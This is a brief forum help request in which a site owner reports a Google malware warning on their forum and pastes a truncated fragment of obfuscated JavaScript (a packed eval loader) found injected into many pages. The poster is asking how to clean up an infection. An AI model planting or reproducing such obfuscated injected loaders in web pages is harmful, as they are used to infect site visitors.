Malware Issue

[anjaan7979]

Hello,

Google search gives warning that my forum has malware. When checking Google webmaster tools I see the following code under Malware for a lot of forums and pages. How do I troubleshoot this?

<script type="text/javascript">var ipbs='d2ea7ce9';eval(func

f(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[
function(e){return d[e]}];e=function(){return'\\w+'};c=1};wh
ile(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g
'),k[c])}}return p}('m a=["\\A\\d\\b\\l\\c\\z\\d","\\j\\d\\b
